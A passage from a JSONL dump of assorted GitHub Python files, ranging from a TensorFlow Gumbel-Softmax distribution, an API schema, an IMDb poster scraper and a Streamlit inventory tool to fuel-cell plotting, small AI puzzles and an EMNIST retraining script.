logits_2d = logits\n      x_2d = x\n    else:\n      logits_2d = array_ops.reshape(logits, [-1, self.num_classes])\n      x_2d = array_ops.reshape(x, [-1, self.num_classes])\n    # compute the normalization constant\n    log_norm_const = (math_ops.lgamma(self.num_classes)\n                      + (self.num_classes - 1)\n                      * math_ops.log(self.temperature))\n    # compute the unnormalized density\n    log_softmax = nn_ops.log_softmax(logits_2d - x_2d * self.temperature)\n    log_unnorm_prob = math_ops.reduce_sum(log_softmax, [-1], keep_dims=False)\n    # combine unnormalized density with normalization constant\n    log_prob = log_norm_const + log_unnorm_prob\n    ret = array_ops.reshape(log_prob, logits_shape)\n    return ret\n\n  def _prob(self, x):\n    return math_ops.exp(self._log_prob(x))\n\n  def _assert_valid_sample(self, x):\n    if not self.validate_args: return x\n    return control_flow_ops.with_dependencies([\n        check_ops.assert_non_positive(x),\n        distribution_util.assert_close(\n            array_ops.zeros((), dtype=self.dtype),\n            math_ops.reduce_logsumexp(x, reduction_indices=[-1])),\n    ], x)\n\n\nclass _RelaxedOneHotCategorical(\n    transformed_distribution.TransformedDistribution):\n  \"\"\"RelaxedOneHotCategorical distribution with temperature and logits.\n\n  The RelaxedOneHotCategorical is a distribution over random probability\n  vectors, vectors of positive real values that sum to one, which continuously\n  approximates a OneHotCategorical. The degree of approximation is controlled by\n  a temperature: as the temperaturegoes to 0 the RelaxedOneHotCategorical\n  becomes discrete with a distribution described by the `logits` or `p`\n  parameters, as the temperature goes to infinity the RelaxedOneHotCategorical\n  becomes the constant distribution that is identically the constant vector of\n  (1/num_classes, ..., 1/num_classes).\n\n  The RelaxedOneHotCategorical distribution was concurrently introduced as the\n  Gumbel-Softmax (Jang et al., 2016) and Concrete (Maddison et al., 2016)\n  distributions for use as a reparameterized continuous approximation to the\n  `Categorical` one-hot distribution. If you use this distribution, please cite\n  both papers.\n\n  #### Examples\n\n  Creates a continuous distribution, which approximates a 3-class one-hot\n  categorical distiribution. The 2nd class is the most likely to be the\n  largest component in samples drawn from this distribution.\n\n  ```python\n  temperature = 0.5\n  p = [0.1, 0.5, 0.4]\n  dist = RelaxedOneHotCategorical(temperature, p=p)\n  ```\n\n  Creates a continuous distribution, which approximates a 3-class one-hot\n  categorical distiribution. The 2nd class is the most likely to be the\n  largest component in samples drawn from this distribution.\n\n  ```python\n  temperature = 0.5\n  logits = [-2, 2, 0]\n  dist = RelaxedOneHotCategorical(temperature, logits=logits)\n  ```\n\n  Creates a continuous distribution, which approximates a 3-class one-hot\n  categorical distiribution. Because the temperature is very low, samples from\n  this distribution are almost discrete, with one component almost 1 and the\n  others nearly 0. The 2nd class is the most likely to be the largest component\n  in samples drawn from this distribution.\n\n  ```python\n  temperature = 1e-5\n  logits = [-2, 2, 0]\n  dist = RelaxedOneHotCategorical(temperature, logits=logits)\n  ```\n\n  Creates a continuous distribution, which approximates a 3-class one-hot\n  categorical distiribution. Because the temperature is very high, samples from\n  this distribution are usually close to the (1/3, 1/3, 1/3) vector. The 2nd\n  class is still the most likely to be the largest component\n  in samples drawn from this distribution.\n\n  ```python\n  temperature = 10\n  logits = [-2, 2, 0]\n  dist = RelaxedOneHotCategorical(temperature, logits=logits)\n  ```\n\n  Eric Jang, Shixiang Gu, and Ben Poole. Categorical Reparameterization with\n  Gumbel-Softmax. 2016.\n\n  Chris J. Maddison, Andriy Mnih, and Yee Whye Teh. The Concrete Distribution:\n  A Continuous Relaxation of Discrete Random Variables. 2016.\n  \"\"\"\n\n  def __init__(\n      self,\n      temperature,\n      logits=None,\n      p=None,\n      dtype=dtypes.float32,\n      validate_args=False,\n      allow_nan_stats=True,\n      name=\"RelaxedOneHotCategorical\"):\n    \"\"\"Initialize RelaxedOneHotCategorical using class log-probabilities.\n\n    Args:\n      temperature: An 0-D `Tensor`, representing the temperature\n        of a set of RelaxedOneHotCategorical distributions. The temperature\n        should be positive.\n      logits: An N-D `Tensor`, `N >= 1`, representing the log probabilities\n        of a set of RelaxedOneHotCategorical distributions. The first\n        `N - 1` dimensions index into a batch of independent distributions and\n        the last dimension represents a vector of logits for each class. Only\n        one of `logits` or `p` should be passed in.\n      p: An N-D `Tensor`, `N >= 1`, representing the probabilities\n        of a set of RelaxedOneHotCategorical distributions. The first\n        `N - 1` dimensions index into a batch of independent distributions and\n        the last dimension represents a vector of probabilities for each\n        class. Only one of `logits` or `p` should be passed in.\n      dtype: The type of the event samples (default: int32).\n      validate_args: Unused in this distribution.\n      allow_nan_stats: `Boolean`, default `True`.  If `False`, raise an\n        exception if a statistic (e.g. mean/mode/etc...) is undefined for any\n        batch member.  If `True`, batch members with valid parameters leading to\n        undefined statistics will return NaN for this statistic.\n      name: A name for this distribution (optional).\n    \"\"\"\n    dist = _ExpRelaxedOneHotCategorical(temperature,\n                                        logits=logits,\n                                        p=p,\n                                        dtype=dtype,\n                                        validate_args=validate_args,\n                                        allow_nan_stats=allow_nan_stats)\n    super(_RelaxedOneHotCategorical, self).__init__(dist,\n                                                    bijector.Exp(),\n                                                    name=name)\n","repo_name":"ryfeus/lambda-packs","sub_path":"Keras_tensorflow/source/tensorflow/contrib/distributions/python/ops/relaxed_onehot_categorical.py","file_name":"relaxed_onehot_categorical.py","file_ext":"py","file_size_in_byte":17067,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"}
+{"seq_id":"35980507058","text":"# -*- coding: utf8 -*-\nfrom drf_yasg import openapi\nfrom rest_framework import status\n\nfrom api.docs.theme import THEME_ITEM\nfrom api.docs.paginator import PAGINATOR_INFO\n\nCOLORING_ITEM = {\n    \"items\": openapi.Schema(\n        type=openapi.TYPE_OBJECT,\n        properties=dict(\n            id=openapi.Schema(\n                type=openapi.TYPE_INTEGER, example=1\n            ),\n            name=openapi.Schema(type=openapi.TYPE_STRING, example=\"string\"),\n            image=openapi.Schema(type=openapi.TYPE_STRING, example=\"/uploads/colorings/index.jpg\"),\n            created_at=openapi.Schema(type=openapi.TYPE_STRING, example=\"2023-02-25T15:15:51.217827+03:00\"),\n            updated_at=openapi.Schema(type=openapi.TYPE_STRING, example=\"2023-02-25T15:15:51.217827+03:00\"),\n            theme=openapi.Schema(\n                type=openapi.TYPE_ARRAY,\n                **THEME_ITEM\n            ),\n        ),\n    ),\n}\n\nCOLORING_LIST_VIEW = {\n    \"operation_id\": \"Список раскрасок\",\n    \"operation_description\": \"\"\"\n        Выводит список всех раскрасок по определенной тематике \n\n        page - номер страницы (по умолчанию 1)\n        per_page - сколько элементов на странице (по умолчанию 8)\n        id - id желаемой тематики\n    \"\"\",\n    'manual_parameters': [\n        openapi.Parameter('page', openapi.IN_QUERY,\n                          description=\"Вы можете указать номер страницы, с которой хотите получить данные\",\n                          type=openapi.TYPE_NUMBER,\n                          required=False),\n        openapi.Parameter('per_page', openapi.IN_QUERY,\n                          description=\"Вы можете выбрать количество тематик на странице\",\n                          type=openapi.TYPE_NUMBER,\n                          required=False),\n    ],\n    \"responses\": {\n        status.HTTP_200_OK: openapi.Response(\n            \"Success\",\n            openapi.Schema(\n                type=openapi.TYPE_OBJECT,\n                properties=dict(\n                    colorings=openapi.Schema(\n                        type=openapi.TYPE_ARRAY,\n                        **COLORING_ITEM\n                    ),\n                    page_data=openapi.Schema(type=openapi.TYPE_STRING, example='\"[\\\"1\\\"]\"'),\n                    page_info=PAGINATOR_INFO,\n                ),\n            ),\n        )\n    },\n}\n\nCOLORING_LIST_BY_SEARCH_VIEW = {\n    \"operation_id\": \"Список тематик по поиску\",\n    \"operation_description\": \"\"\"\n        Выводит список всех тематик по словам для поиска\n\n        page - номер страницы (по умолчанию 1)\n        per_page - сколько элементов на странице (по умолчанию 8)\n        search - слова для поиска\n    \"\"\",\n    'manual_parameters': [\n        openapi.Parameter('page', openapi.IN_QUERY,\n                          description=\"Вы можете указать номер страницы, с которой хотите получить данные\",\n                          type=openapi.TYPE_NUMBER,\n                          required=False),\n        openapi.Parameter('per_page', openapi.IN_QUERY,\n                          description=\"Вы можете выбрать количество тематик на странице\",\n                          type=openapi.TYPE_NUMBER,\n                          required=False),\n        openapi.Parameter('search', openapi.IN_QUERY,\n                          description=\"Слова для поиска раскрасок\",\n                          type=openapi.TYPE_STRING,\n                          required=True),\n    ],\n    \"responses\": {\n        status.HTTP_200_OK: openapi.Response(\n            \"Success\",\n            openapi.Schema(\n                type=openapi.TYPE_OBJECT,\n                properties=dict(\n                    colorings=openapi.Schema(\n                        type=openapi.TYPE_ARRAY,\n                        **COLORING_ITEM\n                    ),\n                    page_data=openapi.Schema(type=openapi.TYPE_STRING, example='\"[\\\"1\\\"]\"'),\n                    page_info=PAGINATOR_INFO,\n                ),\n            ),\n        )\n    },\n}\n\nCOLORING_GET_VIEW = {\n    \"operation_id\": \"Получение раскраски\",\n    \"operation_description\": \"\"\"\n        Выводит раскраску по ее id\n\n        id - id желаемой раскраски\n    \"\"\",\n    \"responses\": {\n        status.HTTP_200_OK: openapi.Response(\n            \"Success\",\n            openapi.Schema(\n                type=openapi.TYPE_ARRAY,\n                **COLORING_ITEM\n            ),\n        )\n    },\n}\n\nCOLORING_DOWNLOAD_VIEW = {\n    \"operation_id\": \"Скачивание раскраски\",\n    \"operation_description\": \"\"\"\n        Отдаёт jpeg файл по id раскраски\n    \"\"\",\n    \"responses\": {\n        status.HTTP_200_OK: openapi.Response(\n            \"Success\",\n        )\n    },\n}\n\nCOLORING_CREATE_VIEW = {\n    \"operation_id\": \"Создание раскрасок\",\n    'manual_parameters': [\n        openapi.Parameter('name', openapi.IN_QUERY,\n                          type=openapi.TYPE_STRING,\n                          required=True),\n        openapi.Parameter('image', openapi.IN_QUERY,\n                          type=openapi.TYPE_FILE,\n                          required=True),\n    ],\n}\n","repo_name":"Aplles/funart","sub_path":"api/docs/coloring.py","file_name":"coloring.py","file_ext":"py","file_size_in_byte":5583,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"26798573949","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy_splash import SplashRequest\nimport re\nimport pandas as pd\n\nclass ScrapeSpider(scrapy.Spider):\n    name = 'scrape'\n    allowed_domains = ['www.imdb.com']\n    start_urls = [\"https://www.imdb.com/title/tt4460418/\"]\n\n    script = '''\n    \tfunction main(splash, args)\n            splash.private_mode_enabled = false\n            assert(splash:go(args.url))\n            assert(splash:wait(0.5))\n\t\t\treturn splash:html()\n\t\tend\n\t'''\n\n    Codes = pd.read_csv('./Images_Codes.csv').x\n    \n    def start_requests(self):\n        start = 0\n        for i in range(0, 10710):\n            link = 'https://www.imdb.com/title/' + str(self.Codes[i])\n            yield scrapy.Request(url = link, callback = self.parse, meta={'Code': str(self.Codes[i])})\n         \n    def parse(self, response):\n        #Code = \"tt\" + re.findall(r'\\d{1,10}', response.url)[0]  \n        image_link = \"https://www.imdb.com\" + response.xpath(\"//div[@class='poster']/a/@href\").get()\n        yield SplashRequest(url = image_link, callback = self.parse_image, endpoint = \"execute\", args= {'lua_source': self.script, 'timeout': '90'}, meta = {'Code': response.request.meta['Code']})\n    \n    def parse_image(self, response):\n        yield{'Code': response.request.meta['Code'],\n            'Image': response.xpath(\"(//img[@class='pswp__img'])[1]/@src\").get()}\n","repo_name":"ujjawalmadan/IMDb-Visualization","sub_path":"Scraping Project Files/IMDB_Image Scraping Script/IMDB2/spiders/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35255527678","text":"\r\nimport streamlit as st\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n#from datetime import datetime,date,timedelta,time\r\n#import streamlit as st\r\n#import time\r\n#import re\r\n\r\n\r\n#from pyxlsb import open_workbook as open_xlsb\r\nfrom io import BytesIO\r\n\r\ndef to_excel(df,df1):\r\n    output = BytesIO()\r\n    writer = pd.ExcelWriter(output, engine='xlsxwriter')\r\n    df.to_excel(writer, index=False, sheet_name='PK Data')\r\n    df1.to_excel(writer,index=False,sheet_name='Unique Items')\r\n    writer.save()\r\n    processed_data = output.getvalue()\r\n    return processed_data\r\n\r\n\r\nst.title(\"PickNote removed Item list\")\r\n\r\nPicknote = st.file_uploader(\"Please upload Picknote file\", \".csv\")\r\n\r\nif Picknote is not None:\r\n  Picknote = pd.read_csv(Picknote,skiprows=3)\r\n  if st.checkbox(\"Show Picknote Data\"):\r\n      st.write(Picknote)\r\n      Picknote = Picknote.loc[:,['EntryNumber','ProductName','Quantity','Shelf','TransferTo','TransferToCode']]\r\n\r\nItemMaster = st.file_uploader(\"Upload product list\", \".csv\")\r\nif ItemMaster is not None:\r\n  ItemMaster = pd.read_csv(ItemMaster,skiprows=5)\r\n  ItemMaster = ItemMaster.loc[:,['ProductCode','ProductName']]\r\n\r\n\r\nCS = st.file_uploader(\"Upload Company sales report\",'.csv')\r\nif CS is not None:\r\n  CS = pd.read_csv(CS,skiprows=5)\r\n  if st.checkbox(\"Show Company Sales Data\"):\r\n      st.write(CS)\r\n  CS = CS.loc[:,['ProductCode',\"CustomerName\"]]\r\n\r\n\r\nTrnsfr =  st.file_uploader(\"TransferOut Report\", '.csv')\r\nif Trnsfr is not None:\r\n  Trnsfr = pd.read_csv(Trnsfr)\r\n  if st.checkbox(\"Show TransferOut Data\"):\r\n      st.write(Trnsfr)\r\n  Trnsfr = Trnsfr.loc[:,['ProductCode','ToLocation']]\r\n\r\n\r\nStock =  st.file_uploader(\"Upload StockReport\", '.csv')\r\nif Stock is not None:\r\n    Stock = pd.read_csv(Stock,skiprows=5)\r\n    if st.checkbox(\"Show Stock Data\"):\r\n          st.write(Stock)\r\n\r\nif Picknote is not None and ItemMaster is not None and Trnsfr is not None and CS is not None and Stock is not None:\r\n    PickNote1  = pd.merge(Picknote,ItemMaster,on='ProductName',how='left')\r\n    PickNote1 = PickNote1[PickNote1['TransferTo'].notnull()]\r\n    PickNote1['TransferToCode'] = PickNote1['TransferToCode'].astype('float64').astype('int64')\r\n    PickNote1['TransferToCode'] = PickNote1['TransferToCode'].astype('str')\r\n\r\n    if PickNote1['ProductCode'].dtype=='float64':\r\n        NotFound = PickNote1[PickNote1['ProductCode'].isnull()]\r\n        l2 = []\r\n        if len(list(NotFound['ProductName'].unique()))<1000:\r\n            st.error('Please update Product List')\r\n            for name in list(NotFound['ProductName'].unique()):\r\n                st.write(name)\r\n                try:\r\n                    x = st.text_input(f\"please enter productCode of {name}:\")\r\n                    if x is not None:\r\n                        l2.append(x)\r\n                except:\r\n                    print(\"Please Run Again Module\")\r\n                    break\r\n        else:\r\n            print('Please update the product list')\r\n\r\n        d1 = dict(zip(NotFound['ProductName'].unique(),l2))\r\n        st.write(d1)\r\n        for i,j in d1.items():\r\n            PickNote1['ProductCode']  = np.where(PickNote1['ProductName']==i,int(float(j)),PickNote1['ProductCode'])\r\n\r\n\r\n    else:\r\n        PickNote1['ProductCode'] = PickNote1['ProductCode'].astype('float64').astype('int64')\r\n\r\n\r\n    PickNote1['ProductCode'] = PickNote1['ProductCode'].astype('float64').astype('int64')\r\n    PickNote1['ProductCode'] = PickNote1['ProductCode'].astype('str')\r\n\r\n    PickNote1['Key'] = PickNote1['ProductCode'] + PickNote1['TransferTo']\r\n\r\n    Trnsfr['ProductCode'] = Trnsfr['ProductCode'].astype('str')\r\n    Trnsfr['Key'] = Trnsfr['ProductCode']+Trnsfr['ToLocation']\r\n\r\n    PickNote1 = PickNote1.merge(Trnsfr,on='Key',how='left',suffixes=(None,'_x'))\r\n    PickNote1  = PickNote1[PickNote1['ToLocation'].isnull()]\r\n\r\n    CS['ProductCode'] = CS['ProductCode'].astype('str')\r\n    CS['Key'] = CS['ProductCode']+CS['CustomerName']\r\n\r\n    PickNote2 = PickNote1.merge(CS,on='Key',how='left',suffixes=(None,'_y'))\r\n    PickNote2 = PickNote2[PickNote2['CustomerName'].isnull()]\r\n\r\n\r\n    PickNote3 = PickNote2.loc[:,['EntryNumber','ProductName','ProductCode','Quantity','Shelf','TransferTo','TransferToCode']]\r\n    df= pd.DataFrame(PickNote3['TransferTo'].value_counts()).reset_index()\r\n\r\n    l1 = list(df[df['TransferTo']>100]['index'])\r\n\r\n\r\n    PickNote4 = PickNote3[~PickNote3['TransferTo'].isin(l1)]\r\n    PickNote4[['ProductCode','TransferToCode']] = PickNote4[['ProductCode','TransferToCode']].astype('int64')\r\n\r\n    PickNote4['Count'] = PickNote4['ProductName']\r\n\r\n\r\n    PickNote5 = PickNote4.groupby(['ProductCode','ProductName']).agg({'Quantity':'sum','Count':'count'}).reset_index()\r\n    PickNote5['ProductCode'] = PickNote5['ProductCode'].astype('int64')\r\n\r\n    Stock = Stock.loc[:,['ProductCode','Stock']]\r\n\r\n    Stock1  = Stock.groupby('ProductCode').agg({'Stock':'sum'}).reset_index()\r\n    Stock1['Stock']  =Stock1['Stock'].astype('int64')\r\n\r\n    PickNote6 = PickNote5.merge(Stock1,on='ProductCode',how='left')\r\n    PickNote4 = PickNote4.drop('Count',1)\r\n\r\n\r\n    if PickNote4 is not None and PickNote6 is not None:\r\n        df_xlsx = to_excel(PickNote4,PickNote6)\r\n        st.download_button(label='📥 Download Current Result',\r\n                                        data=df_xlsx , file_name= 'PickNote Removed list.xlsx')\r\n","repo_name":"medkart/medkart","sub_path":"PK_R_.py","file_name":"PK_R_.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29618334173","text":"import numpy as np \nfrom array import array \nfrom itertools import izip \nimport matplotlib.pyplot as plt\n\nimport pdb\n\ndef Ind2Network(ind, opts):\n    \"\"\"Returns a neural network representation of the chromosome\"\"\" \n    \n    weights = []\n    biases = []\n\n    curr_idx = 0 \n    for new_dim, prev_dim in izip(opts.dims[1:], opts.dims[:-1]): \n        inc = int(new_dim * prev_dim)\n\n        weight = np.array(ind[curr_idx:curr_idx+inc]).reshape((new_dim, prev_dim))\n        weights.append(weight)\n\n        curr_idx += inc \n\n    for new_dim, prev_dim in izip(opts.dims[1:], opts.dims[:-1]): \n        inc = int(new_dim)\n\n        bias = np.array(ind[curr_idx:curr_idx+inc]).reshape((new_dim, 1))\n        biases.append(bias)\n\n        curr_idx += inc\n\n    out = {'weights': weights, 'biases': biases}\n    return out \n\n\ndef ForwardPass(net, input): \n    \"\"\"Forward pass the input through network (represented in dictionary)\"\"\"\n    \n    weights, biases = net['weights'], net['biases']\n\n    num_layers = len(weights)\n\n    for i, (w,b) in enumerate(izip(weights, biases)): \n        input = w.dot(input) + b\n\n        if i != num_layers -1: #if not last layer..\n            input[input < 0] = 0 #relu activation\n\n    #softmax layer \n    output_ = input[:,0] \n    output_ -= output_.max()\n    output_ = np.exp(output_)\n    output = output_ / np.sum(output_)\n    \n    return output \n\ndef WriteConfigToFile(fpath, optsDict): \n    fobj = open(fpath, 'w')\n\n    for k,v in optsDict.items(): \n        fobj.write('{} >> {}\\n'.format(str(k), str(v)))\n    fobj.close()\n\ndef PlotLog(log, game, filename): \n    plt.style.use('ggplot')\n\n    gen = log.select('gen')\n    fig,ax=plt.subplots()\n    \n    for att in log.header: \n        if att not in ['gen','evals']: \n            att_ = log.select(att)\n            ax.plot(gen,att_,label=att)\n    \n    ax.legend()\n    plt.xlabel('Generations')\n    plt.ylabel('Fitness Score')\n    plt.title(game)\n\n    plt.savefig(filename)","repo_name":"muneebaadil/atari-neuroevolution","sub_path":"code/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"24786946227","text":"from plotly.offline import download_plotlyjs, init_notebook_mode,  plot\nimport plotly.graph_objs as go\nimport math\n\ntraces = []\n\n# considered current range [mA]\nj_range = [i for i in range(1, 1000)]\n\n\n# REVERSIBLE OCV [V]\nE = 1.2\n\n\n# PARAMETERS OF ACTIVATION LOSSES --------------------------------------------------------------------------------------\n# constant A [V]\nA = 0.06\n\n# Exchange Current Density [mA/cm2]\nj0 = 0.04\n\n# PARAMETERS OF CROSSOVER LOSSES ---------------------------------------------------------------------------------------\n# internal current [mA/cm²]\njn = 3\n\n# PARAMETERS OF OHMIC LOSSES -------------------------------------------------------------------------------------------\n# ohmic resitance [kOhm/cm²]\nr = 0.0001\n\n# PARAMETERS OF CONCENTRATION LOSSES -----------------------------------------------------------------------------------\n# parameter m [V]\nm = 0.00003\n\n# parameter n [cm²/A]\nn = 0.008\n\n# THEORETICAL CELL VOLTAGE ---------------------------------------------------------------------------------------------\n\nth_u_cell = []\n\nfor j in j_range:\n    th_u_cell.append(E - j * r - A * math.log((j + jn) / j0) - m * math.exp(n * j))\n\ntraces.append(\n    go.Scatter(x=j_range,\n               y=th_u_cell,\n               mode=\"lines\",\n               marker=dict(size=10, color='black'),\n               name='all. losses',\n               yaxis='y1'\n               )\n)\n\n# traces.append(\n#     go.Scatter(x=j_range,\n#                y=th_u_cell,\n#                mode=\"lines\",\n#                marker=dict(size=10, color='green'),\n#                name='activation losses (CCL)',\n#                yaxis='y1'\n#                )\n# )\n\n# PLOTTTING\nfig_data = traces\n\nthn_potential = go.layout.Shape(type='line',\n                                x0=min(j_range),\n                                x1=max(j_range),\n                                y0=1.48,\n                                y1=1.48,\n                                yref='y1',\n                                line=dict(color='darkgrey', width=2, dash='dash'))\n\nrev_potential = go.layout.Shape(type='line',\n                                x0=min(j_range),\n                                x1=max(j_range),\n                                y0=1.23,\n                                y1=1.23,\n                                yref='y1',\n                                line=dict(color='darkgrey', width=2))\n\nfig = go.Figure(fig_data).update_layout(\n    # TITLE\n    title='POL-Theoretical',\n    title_font=dict(size=30, color='black'),\n    title_x=0.4,\n    # XAXIS\n    xaxis=dict(title='current density [A/cm²]',\n               title_font=dict(size=24, color='black'),\n               tickfont=dict(size=20, color='black'),\n               minor=dict(ticks=\"inside\", ticklen=5, showgrid=False),\n               gridcolor='lightgrey',\n               griddash='dash',\n               showline=True,\n               zeroline=True,\n               zerolinewidth=2,\n               zerolinecolor='black',\n\n               ticks='inside',\n               ticklen=10,\n               tickwidth=2,\n\n               linewidth=2,\n               linecolor='black',\n\n               mirror=True,\n               ),\n\n    # YAXIS\n    yaxis=dict(title='voltage [V]',\n               title_font=dict(size=24, color='black'),\n               tickfont=dict(size=20, color='black'),\n               gridcolor='lightgrey',\n               griddash='dash',\n               minor=dict(ticks=\"inside\", ticklen=5, showgrid=False),\n               showline=True,\n               zeroline=True,\n               zerolinewidth=2,\n               zerolinecolor='black',\n               ticks='inside',\n               ticklen=10,\n               tickwidth=2,\n\n               linewidth=2,\n               linecolor='black',\n\n               mirror=True,\n               range=[0, 1.6]\n               ),\n\n    shapes=[rev_potential, thn_potential],\n\n    legend_font=dict(size=16),\n    legend=dict(\n        x=1.3,\n        y=1,\n        xanchor='right',  # Set the x anchor to 'right'\n        yanchor='top',  # Set the y anchor to 'top'\n        bgcolor=\"white\",\n        bordercolor=\"black\",\n        borderwidth=1,\n    ),\n    plot_bgcolor='white',\n)\n\nplot(fig)\n","repo_name":"Cookiemonster1337/gts_pemfc_analysis","sub_path":"pemfc_model_FCE.py","file_name":"pemfc_model_FCE.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"75518632695","text":"numbers = input()\r\n\r\nresult1 = 0\r\nresult2 = 0\r\nfor i in range(0, len(numbers), 1):\r\n    result1 += int(numbers[i])\r\nfor j in range(1, len(numbers), 1):\r\n    result2 += int(numbers[j])\r\n\r\nif (result1 + result2) % 10 == 0:\r\n    print('yes')\r\nelse:\r\n    print('no')\r\n","repo_name":"EgorVereshko/Python-programming-technologies","sub_path":"mod2/task13.py","file_name":"task13.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14448418025","text":"def solve(banana,box,height,monkey,hold):\n    if monkey==banana and height==1:\n        ans.append(\"Monkey took banana\")\n        return True\n    if (banana,box,height,monkey,hold) in d:\n        return False\n    found=0\n    d[(banana,box,height,monkey,hold)]=1\n    options={1:\"Move to box\", 2:\"Move to banana\", 3:\"Climb onto the box\", 4:\"Hold box to move\"}\n    for option in options:\n        if option==1 and hold==0 and height==0 and solve(banana,box,height,box,hold):\n            ans.append(options[option])\n            found=1\n            break\n        elif option==2 and height==0 and ((hold==1 and solve(banana,banana,height,banana,hold)) or (hold==0 and solve(banana,box,height,banana,hold))):\n            ans.append(options[option])\n            found=1\n            break\n        elif option==3 and height==0 and monkey==box and solve(banana,box,height+1,monkey,0):\n            ans.append(options[option])\n            found=1\n            break\n        elif option==4 and height==0 and monkey==box and solve(banana,box,height,monkey,1):\n            ans.append(options[option])\n            found=1\n            break\n    return found\n\nn=int(input(\"Enter the size of the world: \"))\nworld=[[0]*n for i in range(n)]\nx,y=map(int,input(\"Enter tree position: \").split())\nworld[x][y]=1\nx,y=map(int,input(\"Enter box position: \").split())\nworld[x][y]=-1\nx,y=map(int,input(\"Enter monkey position: \").split())\nfor i in range(n):\n    for j in range(n):\n        if world[i][j]==1:\n            print(f\"Monkey found the banana tree at ({i},{j})\")\n            banana=(i,j)\n        if world[i][j]==-1:\n            print(f\"Box found at ({i},{j})\")\n            box=(i,j)\nd={}\nans=[]\nsolve(banana,box,0,(x,y),0)\nans.reverse()\nprint(*ans,sep=\"\\n\")\n\n'''\n5\n2 2\n4 4\n0 0\n'''\n","repo_name":"Rajesh-dot/AI-Lab-Programs","sub_path":"monkey.py","file_name":"monkey.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"38952400054","text":"'''\nSample run:\n\nTrain only I,K,R,i,k,r\npython train_all.py ~/rec_table/train/checkpoint/rikRIK 18,20,27,44,46,53 I,K,R,i,k,r\n\nTrain only 0,1,2,3,4,5,6,7,8,9,x,X\npython train_all.py ~/rec_table/train/checkpoint/0_9_x 0,1,2,3,4,5,6,7,8,9,33,59 0,1,2,3,4,5,6,7,8,9,X,x ~/rec_table/train/checkpoint/zeroToNineXx\n\n'''\n\nimport tensorflow as tf\nimport time\nimport numpy as np\nimport emnist\nimport sys\nfrom PIL import Image\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nsubset = [0,1,2,3,4,5,6,7,8,9,33,59]  \n#subset = [0,1,2,3,4,5,6,7,8,9]  \nmnist = emnist.read_data_sets('/Users/nghia/tmp/nghia/mnist', prefix=\"\", validation_size=10, subset = subset) \n#mnist = emnist.read_data_sets('data/emnist', subset = subset)\nprint(\"Number of train images=\" + str(mnist.train.images.shape))\nstart = time.clock()\n# Retrain from last checkpoint \ntrained_filename = '/Users/nghia/rec_table/train/checkpoint/0_9_x_X'\nnew_trained_filename = '/Users/nghia/rec_table/train/checkpoint/0_9_x_X'\nnum_steps = 1000\n\n\n# We can now access the default graph where all our metadata has been loaded\ngraph = tf.Graph()\nsession = tf.Session(graph=graph)\nprint(\"Starting retrain...\")\nwith graph.as_default():\n    new_saver = tf.train.import_meta_graph(trained_filename + '.meta') \n    new_saver.restore(session, trained_filename)\n    x = graph.get_tensor_by_name(\"x:0\") \n    y_ = graph.get_tensor_by_name(\"y_:0\")\n    keep_prob = graph.get_tensor_by_name(\"keep_prob:0\")\n    train_step = tf.get_collection(\"train_step\")[0]\n    accuracy = tf.get_collection('accuracy')[0]\n    for i in range(num_steps):\n        batch = mnist.train.next_batch(50) \n        if i % 100 == 0:\n            train_accuracy = session.run(accuracy, feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0})\n            print('step %d, training accuracy %g' % (i, train_accuracy))\n            \n        session.run(train_step, feed_dict={'x:0': batch[0], 'y_:0': batch[1], keep_prob: 0.5})\n    print('test accuracy %g' % session.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0}))    \n    new_saver.save(session, new_trained_filename)","repo_name":"nghiank/rec_table","sub_path":"train/retrain.py","file_name":"retrain.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2729188328","text":"from datetime import datetime\nfrom typing import Any, Dict\n\nfrom api.apis.carriers.fedex.soap_objects.common.contact_and_address import (\n    ContactAndAddress,\n)\nfrom api.apis.carriers.fedex.soap_objects.soap_object import FedExSoapObject\n\n\nclass PickupOriginDetail(FedExSoapObject):\n    _optional_keys = {\n        \"UseAccountAddress\",\n        \"AddressId\",  # FedEx internal use only\n        \"PickupLocation\",\n        \"PackageLocation\",\n        \"BuildingPart\",\n        \"BuildingPartDescription\",\n        \"ReadyTimestamp\",\n        \"CompanyCloseTime\",\n        \"StayLate\",  # FedEx internal use only\n        \"PickupDateType\",  # FedEx internal use only\n        \"LastAccessTime\",  # FedEx internal use only\n        \"GeographicalPostalCode\",  # European pickups only\n        \"Location\",  # FedEx internal use only\n        \"DeleteLastUsed\",  # FedEx internal use only\n        \"SuppliesRequested\",\n        \"EarlyPickup\",  # European pickups only\n    }\n\n    def __init__(self, gobox_request: Dict[str, Any]):\n        pickup_data = gobox_request[\"pickup\"]\n        pickup_date = datetime.combine(pickup_data[\"date\"], datetime.min.time())\n        start_parts = pickup_data[\"start_time\"].split(\":\")\n        end_parts = pickup_data[\"end_time\"].split(\":\")\n\n        ready_time = pickup_date.replace(\n            hour=int(start_parts[0]),\n            minute=int(start_parts[1]),\n            second=0,\n            microsecond=0,\n        )\n        close_time = pickup_date.replace(\n            hour=int(end_parts[0]), minute=int(end_parts[1]), second=0, microsecond=0\n        )\n\n        